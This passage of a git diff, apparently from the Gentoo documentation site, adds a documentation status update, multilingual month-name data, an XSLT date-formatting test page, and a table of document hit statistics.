+configuration instructions of the powerful Open Andrew File System which got
+updated to the current release, and extended quite a bit with additional
+documented functions.
+</p>
+
+<p>
+Also, our <uri link="/doc/en/kde-split-ebuilds.xml">KDE Split Ebuilds</uri>
+document has been updated with some information about the possible new build
+scheme that KDE 4 will use, and confcache (an improvement for repeated
+autoconf-generated configure script executions). The FAQ on how to unmerge older
+KDE versions has been moved out...
+</p>
+
+<p>
+Talking about KDE, our <uri link="/doc/en/kde-config.xml">KDE Configuration
+Guide</uri> has been updated to reflect the stabilisation of KDE 3.4 in the
+Portage tree and, with that, the introduction of new KDE packages. The update
+also improves the <c>hal</c> and <c>dbus</c> descriptions. And that's not all,
+the guide now contains information about maintaining several KDE versions
+simultaneously and includes the instructions about deinstalling KDE which were
+previously in the <uri link="/doc/en/kde-split-ebuilds.xml">KDE Split
+Ebuilds</uri> guide.
+</p>
+
+<p>
+Readers interested in virtualisation should really take a look at the updated
+<uri link="/doc/en/uml.xml">User-Mode Linux Guide</uri> which gives some
+additional help with virtual networks within the run-linux-in-linux context.
+</p>
+
+<p>
+Upcoming support for the FreeBSD platform is on its way. This is clearly
+reflected upon the <uri link="/doc/en/gentoo-freebsd.xml">short guide to 
+Gentoo/FreeBSD</uri> which is getting larger and larger; the last updates
+include more verbose installation instructions and kernel configuration
+instructions, amongst various smaller updates which keep the documentation up to
+par with the codebase.
+</p>
+
+<p>
+We now have a <uri link="/doc/en/gcc-upgrading.xml">Gentoo GCC Upgrading
+Guide</uri> which replaces the old guide which was stored in the <uri
+link="/proj/en/base/x86">x86/Base Project</uri> space. We never said upgrading 
+GCC is painless, but with guides like these it is just a matter of reading, 
+learning and executing.
+</p>
+
+<p>
+Other documents that have been updated are:
+</p>
+
+<ul>
+  <li>
+    The <uri link="/doc/en/home-router-howto.xml">Gentoo Home Router HOWTO</uri>
+    now tells the reader what kernel configuration is required for ADSL/PPPoE
+    and includes a new section on connecting to one or more networks.
+  </li>
+  <li>
+    The <uri link="/doc/en/printing-howto.xml">Gentoo Printing HOWTO</uri> gives
+    more accurate information for PNM2PPA and HPLIP users.
+  </li>
+  <li>
+    The <uri link="/doc/en/faq.xml">Gentoo FAQ</uri> informs its readers about
+    the use of a statical <path>/dev</path> structure.
+  </li>
+  <li>
+    The <uri link="/doc/en/java.xml">Gentoo Java Guide</uri> has been updated to
+    reflect the use of the <c>nsplugin</c> flag.
+  </li>
+  <li>
+    Users of <c>mrxvt</c> and <c>xterm</c> can now find more accurate Unicode
+    information about their tool in the <uri link="/doc/en/utf-8.xml">Gentoo
+    UTF-8</uri> document.
+  </li>
+  <li>
+    The <uri link="/doc/en/handbook">Gentoo Handbook</uri> has been updated with
+    a few changes, like
+    <ul>
+      <li>broadcasting information for the interfaces</li>
+      <li>improved kernel installation instructions</li>
+      <li>timezone copying instead of symlinking</li>
+      <li>
+        fixed <path>grub.conf</path> examples with respect to the 
+        <path>/boot</path> location
+      </li>
+      <li>2005.1-r1 release changes (which is mostly a change of media)</li>
+      <li>improved <c>grub-install</c> information</li>
+      <li>introducing <c>RSYNC_EXCLUDEFROM</c> for rsync exclusion</li>
+      <li>new references to the catalyst documentation</li>
+      <li>support for the <path>no-nptl</path> profile for 2.4 kernels</li>
+      <li>deprecation of the <c>--udev</c> option for <c>genkernel</c></li>
+    </ul>
+  </li>
+  <li>
+    The <uri link="/doc/en/security">Gentoo Security Handbook</uri> has had a
+    touch-up on Aide (a tool for intrusion detection) and some smaller fixes.
+  </li>
+  <li>
+    OpenOffice 2.0.x doesn't build on 64-bit AMD64 systems either, says the <uri
+    link="/doc/en/gentoo-amd64-faq.xml">Gentoo AMD64 FAQ</uri> now.
+  </li>
+  <li>
+    The <uri link="/doc/en/virt-mail-howto.xml">Gentoo Virtual Mailhosting
+    Guide</uri> has a fix where we forgot to put the <c>FLUSH PRIVILEGES</c> SQL
+    command.
+  </li>
+  <li>
+    The <uri link="/doc/en/grub-error-guide.xml">Grub Error Guide</uri> fixes a
+    forgotten <c>chroot</c> command.
+  </li>
+</ul> 
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Moving Stage1/Stage2 To Gentoo FAQ</title>
+<section>
+<body>
+
+<p>
+Historically, the Gentoo Handbook contained all the installation methods that
+were possible to obtain a Gentoo installed environment. At first, this included
+the Knoppix and other alternative installation instructions. Those were moved to
+the <uri link="/doc/en/altinstall.xml">Alternative Installation Guide</uri>
+because they were interfering with the "regular" installation method that Gentoo
+promoted.
+</p>
+
+<p>
+Now, due to various bugs and, more importantly, because the instructions were
+(and still are) flawed under some circumstances, the bootstrapping and
+system-emerge steps (also known as the stage1 and stage2 installation
+procedures) have been moved to the <uri link="/doc/en/faq.xml">Gentoo FAQ</uri>.
+</p>
+
+<p>
+The idea is to keep the Gentoo Handbook for the <e>official</e> installation
+instructions which are supported by the release engineering team and fully
+documented and maintained by the documentation project, while the other
+installation instructions are maintained by the documentation project but not
+official.
+</p>
+
+<p>
+Work is on the way to create a bootstrapping guide, detailing why bootstrapping
+is needed, when and how to create installation media for an unsupported
+platform, etc. People with knowledge about this subject and who are interested
+in providing feedback can take a look at the current <uri
+link="/doc/en/draft/bootstrapping-guide.xml">draft</uri> and mail <mail
+link="swift@gentoo.org">Sven Vermeulen</mail> with their much appreciated
+feedback.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Removed Documentation</title>
+<section>
+<body>
+
+<p>
+The MacOS Guide has been removed; people are now referred to the <uri
+link="/proj/en/gentoo-alt/macos/">Portage for Darwin/Mac OS X</uri> project.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/tests/months.xml b/xml/htdocs/proj/en/gdp/tests/months.xml
new file mode 100644
index 00000000..cae54273
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/tests/months.xml
@@ -0,0 +1,247 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE datedata [
+  <!ELEMENT datedata (months+)>
+    <!ELEMENT months (month+)>
+    <!ATTLIST months lang CDATA #REQUIRED>
+      <!ELEMENT month (#PCDATA)>
+]>
+<datedata>
+  <months lang="en">
+    <month>January</month>
+    <month>February</month>
+    <month>March</month>
+    <month>April</month>
+    <month>May</month>
+    <month>June</month>
+    <month>July</month>
+    <month>August</month>
+    <month>September</month>
+    <month>October</month>
+    <month>November</month>
+    <month>December</month>
+  </months>
+  <months lang="fr">
+    <month>janvier</month>
+    <month>février</month>
+    <month>mars</month>
+    <month>avril</month>
+    <month>mai</month>
+    <month>juin</month>
+    <month>juillet</month>
+    <month>août</month>
+    <month>septembre</month>
+    <month>octobre</month>
+    <month>novembre</month>
+    <month>décembre</month>
+  </months>
+  <months lang="el">
+  <month>Ιανουάριος</month>
+  <month>Φεβρουάριος</month>
+  <month>Μάρτιος</month>
+  <month>Απρίλιος</month>
+  <month>Μάιος</month>
+  <month>Ιούνιος</month>
+  <month>Ιούλιος</month>
+  <month>Αύγουστος</month>
+  <month>Σεπτέμβριος</month>
+  <month>Οκτώβριος</month>
+  <month>Νοέμβριος</month>
+  <month>Δεκέμβριος</month>
+  </months>
+  <months lang="de">
+  <month>Januar</month>
+  <month>Februar</month>
+  <month>März</month>
+  <month>April</month>
+  <month>Mai</month>
+  <month>Juni</month>
+  <month>Juli</month>
+  <month>August</month>
+  <month>September</month>
+  <month>Oktober</month>
+  <month>November</month>
+  <month>Dezember</month>
+  </months>
+  <months lang="nl">
+  <month>januari</month>
+  <month>februari</month>
+  <month>maart</month>
+  <month>april</month>
+  <month>mei</month>
+  <month>juni</month>
+  <month>juli</month>
+  <month>augustus</month>
+  <month>september</month>
+  <month>oktober</month>
+  <month>november</month>
+  <month>december</month>
+  </months>
+  <months lang="id">
+  <month>Januari</month>
+  <month>Pebruari</month>
+  <month>Maret</month>
+  <month>April</month>
+  <month>Mei</month>
+  <month>Juni</month>
+  <month>Juli</month>
+  <month>Agustus</month>
+  <month>September</month>
+  <month>Oktober</month>
+  <month>November</month>
+  <month>Desember</month>
+  </months>
+  <months lang="da">
+  <month>januar</month>
+  <month>februar</month>
+  <month>marts</month>
+  <month>april</month>
+  <month>maj</month>
+  <month>juni</month>
+  <month>juli</month>
+  <month>august</month>
+  <month>september</month>
+  <month>oktober</month>
+  <month>november</month>
+  <month>december</month>
+  </months>
+  <months lang="es">
+  <month>enero</month>
+  <month>febrero</month>
+  <month>marzo</month>
+  <month>abril</month>
+  <month>mayo</month>
+  <month>junio</month>
+  <month>julio</month>
+  <month>agosto</month>
+  <month>septiembre</month>
+  <month>octubre</month>
+  <month>noviembre</month>
+  <month>diciembre</month>
+  </months>
+  <months lang="fi">
+  <month>tammikuuta</month>
+  <month>helmikuuta</month>
+  <month>maaliskuuta</month>
+  <month>huhtikuuta</month>
+  <month>toukokuuta</month>
+  <month>kesäkuuta</month>
+  <month>heinäkuuta</month>
+  <month>elokuuta</month>
+  <month>syyskuuta</month>
+  <month>lokakuuta</month>
+  <month>marraskuuta</month>
+  <month>joulukuuta</month>
+  </months>
+  <months lang="hu">
+  <month>január</month>
+  <month>február</month>
+  <month>március</month>
+  <month>április</month>
+  <month>május</month>
+  <month>június</month>
+  <month>július</month>
+  <month>augusztus</month>
+  <month>szeptember</month>
+  <month>október</month>
+  <month>november</month>
+  <month>december</month>
+  </months>
+  <months lang="it">
+  <month>gennaio</month>
+  <month>febbraio</month>
+  <month>marzo</month>
+  <month>aprile</month>
+  <month>maggio</month>
+  <month>giugno</month>
+  <month>luglio</month>
+  <month>agosto</month>
+  <month>settembre</month>
+  <month>ottobre</month>
+  <month>novembre</month>
+  <month>dicembre</month>
+  </months>
+  <months lang="pt_br">
+  <month>janeiro</month>
+  <month>fevereiro</month>
+  <month>março</month>
+  <month>abril</month>
+  <month>maio</month>
+  <month>junho</month>
+  <month>julho</month>
+  <month>agosto</month>
+  <month>setembro</month>
+  <month>outubro</month>
+  <month>novembro</month>
+  <month>dezembro</month>
+  </months>
+  <months lang="ro">
+  <month>Ianuarie</month>
+  <month>Februarie</month>
+  <month>Martie</month>
+  <month>Aprilie</month>
+  <month>Mai</month>
+  <month>Iunie</month>
+  <month>Iulie</month>
+  <month>August</month>
+  <month>Septembrie</month>
+  <month>Octombrie</month>
+  <month>Noiembrie</month>
+  <month>Decembrie</month>
+  </months>
+  <months lang="ru">
+  <month>Января</month>
+  <month>Февраля</month>
+  <month>Марта</month>
+  <month>Апреля</month>
+  <month>Мая</month>
+  <month>Июня</month>
+  <month>Июля</month>
+  <month>Августа</month>
+  <month>Сентября</month>
+  <month>Октября</month>
+  <month>Ноября</month>
+  <month>Декабря</month>
+  </months>
+  <months lang="sv">
+  <month>januari</month>
+  <month>februari</month>
+  <month>mars</month>
+  <month>april</month>
+  <month>maj</month>
+  <month>juni</month>
+  <month>juli</month>
+  <month>augusti</month>
+  <month>september</month>
+  <month>oktober</month>
+  <month>november</month>
+  <month>december</month>
+  </months>
+  <months lang="tr">
+  <month>Ocak</month>
+  <month>Şubat</month>
+  <month>Mart</month>
+  <month>Nisan</month>
+  <month>Mayıs</month>
+  <month>Haziran</month>
+  <month>Temmuz</month>
+  <month>Ağustos</month>
+  <month>Eylül</month>
+  <month>Ekim</month>
+  <month>Kasım</month>
+  <month>Aralık</month>
+  </months>
+<months lang="pl">
+<month>styczeń</month>
+<month>luty</month>
+<month>marzec</month>
+<month>kwiecień</month>
+<month>maj</month>
+<month>czerwiec</month>
+<month>lipiec</month>
+<month>sierpień</month>
+<month>wrzesień</month>
+<month>październik</month>
+<month>listopad</month>
+<month>grudzień</month>
+</months>
+</datedata>
diff --git a/xml/htdocs/proj/en/gdp/tests/testdate.xml b/xml/htdocs/proj/en/gdp/tests/testdate.xml
new file mode 100644
index 00000000..751d3cf7
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/tests/testdate.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/proj/en/gdp/tests/testdate.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE doc [
+  <!ELEMENT doc (date+, lang)>
+    <!ELEMENT date (#PCDATA)>
+    <!ELEMENT lang (code+)>
+      <!ELEMENT code (#PCDATA)>
+]>
+
+<doc>
+<date>2004-12-31</date>
+<date>2004-11-01</date>
+<date>2004-10-02</date>
+<date>2004-09-03</date>
+
+<lang>
+  <code>en</code>
+  <code>fr</code>
+  <code>cs</code>
+  <code>ro</code>
+  <code>ru</code>
+  <code>sv</code>
+  <code>tr</code>
+  <code>nl</code>
+  <code>da</code>
+  <code>de</code>
+  <code>fi</code>
+  <code>es</code>
+  <code>pt_br</code>
+  <code>hu</code>
+  <code>ja</code>
+  <code>ko</code>
+  <code>zh_cn</code>
+  <code>zh_tw</code>
+  <code>el</code>
+  <code>id</code>
+  <code>it</code>
+  <code>pl</code>
+  <code>vi</code>
+  <code>lt</code>
+  <code>sr</code>
+  <code>he</code>
+  <code>bg</code>
+</lang>
+</doc>
diff --git a/xml/htdocs/proj/en/gdp/tests/testdate.xsl b/xml/htdocs/proj/en/gdp/tests/testdate.xsl
new file mode 100644
index 00000000..1e736562
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/tests/testdate.xsl
@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"
+                xmlns:func="http://exslt.org/functions"
+                xmlns:exslt="http://exslt.org/common"
+                extension-element-prefixes="func exslt" >
+
+<xsl:output encoding="UTF-8" method="xml" indent="yes" doctype-system="/dtd/guide.dtd"/>
+
+<xsl:include href="/xsl/inserts.xsl" />
+
+<xsl:param name="date">1967-06-05</xsl:param>
+<xsl:variable name="userfile" select='document("/proj/en/devrel/roll-call/userinfo.xml")'/>
+
+<!-- Start outputting data -->
+<xsl:template match="/doc">
+
+<xsl:variable name="xav" select="concat(exslt:node-set($userfile)/userlist/user[@username = 'neysx']/realname/firstname, ' * ', exslt:node-set($userfile)/userlist/user[@username = 'neysx']/realname/familyname)"/>
+
+<guide link="testdate.xml">
+<title>Test Date Formatting</title>
+
+<author title="Author">
+  <mail link="neysx@gentoo.org">
+    <xsl:value-of select="$xav"/>
+  </mail>
+</author>
+
+<abstract>
+This page shows how dates are formatted for each language
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date><xsl:value-of select="func:today()"/></date>
+<!--<date>2005-01-14</date>-->
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Some information</title>
+<body>
+
+<p>
+In order to be able to process the date elements in XSLT or scripts, we have
+added support for a <e>YYYY-MM-DD</e> formatted date element.
+</p>
+
+<p>
+Besides, some people have been very creative and dates are formatted in many
+different ways in English and in many translations. This allows for consistency
+across all pages.
+</p>
+
+<p>
+XSLT 2.0 has some date formatting routines but XSLT 1.0 hasn't and it seems
+like we'll have to do with it for quite a while.
+</p>
+
+<p>
+Fortunately, we do not need any advanced date checking and validating library.
+All we need is to be able to display YYYY-MM-DD in a limited set of languages.
+</p>
+
+<p>
+The table below shows different examples of dates formatted for different
+languages.
+</p>
+
+<p>
+The <c>&lt;date&gt;</c> element in our documentation is expected to be
+formatted as <e>YYYY-MM-DD</e> so that it can be easily used in automatic
+processing. If a date does not match that pattern, it is copied verbatim for
+backwards compatibility. Otherwise, it is formatted for the given language
+according to the lang attribute of the root element. The default language is
+English of course.
+</p>
+
+</body>
+</section>
+<section>
+<title>Test and send feedback</title>
+<body>
+
+<p>
+The dates below have been formatted based on my limited knowledge of dates in
+plenty of languages, on how they currently appear in the docs and on your
+feedback. Some guesses are probably right, some less because of the many
+different formats currently used.
+</p>
+
+<p>
+Check whether month names should be capitalized. I know they should in English
+and they must not in French. I noticed some languages used capitalization but
+the output of <c>date</c> differs. Please check and let me know.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The Dates</title>
+<section>
+<body>
+
+<p>
+You can try with your own values by appending a date parameter to the url like
+this <uri>?date=2004-12-25#doc_chap2</uri>. The date will be displayed in the
+first column.
+</p>
+
+<table>
+<tr>
+ <ti>Lang&#160;\&#160;Date</ti>
+ <th><xsl:value-of select="$date" /></th>
+ <xsl:for-each select="//doc/date"><xsl:sort select="."/><th><xsl:value-of select="." /></th></xsl:for-each>
+</tr>
+    <xsl:apply-templates select="lang/code">
+     <xsl:sort select="."/>
+    </xsl:apply-templates>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
+</xsl:template>
+
+  <xsl:template match="code">
+    <xsl:variable name="LL" select="."/>
+    <tr>
+     <th><xsl:value-of select="$LL" /></th>
+     <ti><xsl:copy-of select="func:format-date($date,$LL)" /></ti>
+     <xsl:for-each select="//doc/date"><xsl:sort select="."/>
+       <ti>
+        <xsl:if test="$LL='he'">
+          <xsl:attribute name="dir">RTL</xsl:attribute>
+        </xsl:if>
+        <xsl:copy-of select="func:format-date(.,$LL)"/>
+       </ti>
+     </xsl:for-each>
+    </tr>
+  </xsl:template>
+
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/en/gdp/tests/topdocs.xml b/xml/htdocs/proj/en/gdp/tests/topdocs.xml
new file mode 100644
index 00000000..7e9b5b9b
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/tests/topdocs.xml
@@ -0,0 +1,366 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>Gentoo Documentation Hit Statistics</title>
+<author title="Author">
+  <mail>neysx</mail>
+</author>
+<abstract>
+Most served Gentoo documents and translations
+</abstract>
+<license/>
+<version>1.0</version>
+<date>2008-05-23</date>
+<chapter>
+<title>Most served Gentoo documents and translations</title>
+<section>
+<title>Introduction</title>
+<body>
+<p>
+Quite a few translators and some authors have expressed a need for some stats
+about which documents are most read and whether translations are actually read.
+The following table shows the number of hits per document per language. Most
+hits from by spiders, crawlers and bots have been filtered out.  Only
+successful GETs on documents under <path>/proj</path>, <path>/doc</path> and
+<path>/news</path> have been considered.
+</p>
+<p>
+The following table might be updated with statistics from other days and/or
+weeks sporadically and randomly. Requests for updated data will not be answered
+and generating more hits on some documents and/or languages will only bring the
+wrath of infra down on you.
+</p>
+<note>
+Documents like handbooks or an <path>index.xml</path> that uses <uri
+link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc</uri> get more hits because
+all parts or categories generate hits on the same file.
+</note>
+</body>
+</section>
+<section>
+<title>Top-300</title>
+<body>
+<p>The following hits have been counted during 111 days between December 23, 2007 and May 23, 2008.</p>
+<table>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>1.</ti><ti><uri link='/doc/en/handbook/handbook-x86.xml'>/doc/**/handbook/handbook-x86.xml</uri></ti><ti align='right'>1,769,907</ti><ti align='right'>1,095,094</ti><ti align='right'>85,701</ti><ti align='right'>114,395</ti><ti align='right'>86,746</ti><ti align='right'>106,218</ti><ti align='right'>42,792</ti><ti align='right'>72,977</ti><ti align='right'>50,940</ti><ti align='right'>30,150</ti><ti align='right'>17,144</ti><ti align='right'>12,655</ti><ti align='right'>6,727</ti><ti align='right'>25,268</ti><ti align='right'>4,065</ti><ti align='right'>3,200</ti><ti align='right'>4,646</ti><ti align='right'>3,949</ti><ti align='right'>1,862</ti><ti align='right'>2,652</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>320</ti><ti align='right'>655</ti><ti align='right'>1,351</ti><ti align='right'>400</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>2.</ti><ti><uri link='/news/en/gwn/rss.xml'>/news/**/gwn/rss.xml</uri></ti><ti align='right'>(950,482)</ti><ti align='right'>(598,035)</ti><ti align='right'>(69,200)</ti><ti align='right'>(108,606)</ti><ti align='right'>(36,116)</ti><ti align='right'>(50,076)</ti><ti align='right'>(29,066)</ti><ti align='right'>(14,262)</ti><ti align='right'>(16,335)</ti><ti align='right'>(18,071)</ti><ti align='right'>(487)</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>(1,213)</ti><ti align='right'>()</ti><ti align='right'>(248)</ti><ti align='right'>(224)</ti><ti align='right'>(388)</ti><ti align='right'>(1,774)</ti><ti align='right'>(5,946)</ti><ti align='right'>(435)</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti></tr>
+<tr><ti>3.</ti><ti><uri link='/doc/en/index.xml'>/doc/**/index.xml</uri></ti><ti align='right'>892,118</ti><ti align='right'>574,258</ti><ti align='right'>40,347</ti><ti align='right'>37,068</ti><ti align='right'>42,763</ti><ti align='right'>71,704</ti><ti align='right'>23,890</ti><ti align='right'>17,951</ti><ti align='right'>24,352</ti><ti align='right'>17,039</ti><ti align='right'>6,837</ti><ti align='right'>2,660</ti><ti align='right'>4,542</ti><ti align='right'>16,518</ti><ti align='right'>2,319</ti><ti align='right'>1,127</ti><ti align='right'>2,078</ti><ti align='right'>2,781</ti><ti align='right'>1,400</ti><ti align='right'>211</ti><ti align='right'>1,827</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>167</ti><ti align='right'>137</ti><ti align='right'></ti><ti align='right'>90</ti><ti align='right'>46</ti><ti align='right'>4</ti><ti align='right'>2</ti></tr>
+<tr><ti>4.</ti><ti><uri link='/doc/en/handbook/index.xml'>/doc/**/handbook/index.xml</uri></ti><ti align='right'>495,703</ti><ti align='right'>365,406</ti><ti align='right'>21,148</ti><ti align='right'>21,221</ti><ti align='right'>19,077</ti><ti align='right'>21,149</ti><ti align='right'>10,934</ti><ti align='right'>3,707</ti><ti align='right'>10,847</ti><ti align='right'>7,332</ti><ti align='right'>2,620</ti><ti align='right'>2,657</ti><ti align='right'>764</ti><ti align='right'>5,039</ti><ti align='right'>686</ti><ti align='right'>698</ti><ti align='right'>411</ti><ti align='right'>727</ti><ti align='right'>269</ti><ti align='right'>415</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>90</ti><ti align='right'>207</ti><ti align='right'>187</ti><ti align='right'>112</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>5.</ti><ti><uri link='/doc/en/handbook/handbook-amd64.xml'>/doc/**/handbook/handbook-amd64.xml</uri></ti><ti align='right'>428,459</ti><ti align='right'>289,184</ti><ti align='right'>20,025</ti><ti align='right'>24,783</ti><ti align='right'>18,062</ti><ti align='right'>20,674</ti><ti align='right'>10,280</ti><ti align='right'>4,591</ti><ti align='right'>14,339</ti><ti align='right'>6,345</ti><ti align='right'>4,504</ti><ti align='right'>1,763</ti><ti align='right'>1,398</ti><ti align='right'>7,657</ti><ti align='right'>1,195</ti><ti align='right'>1,440</ti><ti align='right'></ti><ti align='right'>585</ti><ti align='right'>897</ti><ti align='right'>309</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>100</ti><ti align='right'>187</ti><ti align='right'>18</ti><ti align='right'>123</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>6.</ti><ti><uri link='/news/en/gmn/rss.xml'>/news/**/gmn/rss.xml</uri></ti><ti align='right'>(138,922)</ti><ti align='right'>(106,406)</ti><ti align='right'>(6,814)</ti><ti align='right'>(16,319)</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>(6,229)</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>(3,154)</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti><ti align='right'>()</ti></tr>
+<tr><ti>7.</ti><ti><uri link='/doc/en/xorg-config.xml'>/doc/**/xorg-config.xml</uri></ti><ti align='right'>116,618</ti><ti align='right'>62,776</ti><ti align='right'>5,615</ti><ti align='right'>4,505</ti><ti align='right'>4,851</ti><ti align='right'>6,820</ti><ti align='right'>3,075</ti><ti align='right'>19,674</ti><ti align='right'>4,033</ti><ti align='right'>1,466</ti><ti align='right'>1,196</ti><ti align='right'>650</ti><ti align='right'>272</ti><ti align='right'>1,119</ti><ti align='right'>124</ti><ti align='right'>136</ti><ti align='right'>305</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>8.</ti><ti><uri link='/doc/en/gentoo-x86-quickinstall.xml'>/doc/**/gentoo-x86-quickinstall.xml</uri></ti><ti align='right'>99,842</ti><ti align='right'>71,901</ti><ti align='right'>3,972</ti><ti align='right'>3,710</ti><ti align='right'>2,957</ti><ti align='right'>5,259</ti><ti align='right'>1,914</ti><ti align='right'>2,316</ti><ti align='right'>2,416</ti><ti align='right'>1,760</ti><ti align='right'>511</ti><ti align='right'>213</ti><ti align='right'>518</ti><ti align='right'>1,177</ti><ti align='right'>182</ti><ti align='right'>79</ti><ti align='right'></ti><ti align='right'>485</ti><ti align='right'>134</ti><ti align='right'></ti><ti align='right'>281</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>57</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>9.</ti><ti><uri link='/doc/en/handbook/handbook-ppc.xml'>/doc/**/handbook/handbook-ppc.xml</uri></ti><ti align='right'>97,600</ti><ti align='right'>51,953</ti><ti align='right'>3,995</ti><ti align='right'>5,537</ti><ti align='right'>4,966</ti><ti align='right'>5,694</ti><ti align='right'>4,550</ti><ti align='right'>2,895</ti><ti align='right'>4,114</ti><ti align='right'>3,264</ti><ti align='right'>2,026</ti><ti align='right'>1,601</ti><ti align='right'>2,295</ti><ti align='right'></ti><ti align='right'>1,153</ti><ti align='right'>1,425</ti><ti align='right'></ti><ti align='right'>891</ti><ti align='right'>644</ti><ti align='right'>354</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>107</ti><ti align='right'>128</ti><ti align='right'>8</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>10.</ti><ti><uri link='/doc/en/security/security-handbook.xml'>/doc/**/security/security-handbook.xml</uri></ti><ti align='right'>91,391</ti><ti align='right'>46,387</ti><ti align='right'>9,186</ti><ti align='right'>4,979</ti><ti align='right'>5,642</ti><ti align='right'>7,018</ti><ti align='right'>3,395</ti><ti align='right'>3,988</ti><ti align='right'>3,887</ti><ti align='right'>285</ti><ti align='right'>1,582</ti><ti align='right'></ti><ti align='right'>475</ti><ti align='right'></ti><ti align='right'>1,576</ti><ti align='right'>1,201</ti><ti align='right'>664</ti><ti align='right'>813</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>313</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>11.</ti><ti><uri link='/doc/en/handbook/2007.0/handbook-x86.xml'>/doc/**/handbook/2007.0/handbook-x86.xml</uri></ti><ti align='right'>86,865</ti><ti align='right'>59,032</ti><ti align='right'>7,008</ti><ti align='right'>4,831</ti><ti align='right'>123</ti><ti align='right'></ti><ti align='right'>5,455</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>6,464</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,170</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,905</ti><ti align='right'></ti><ti align='right'>877</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
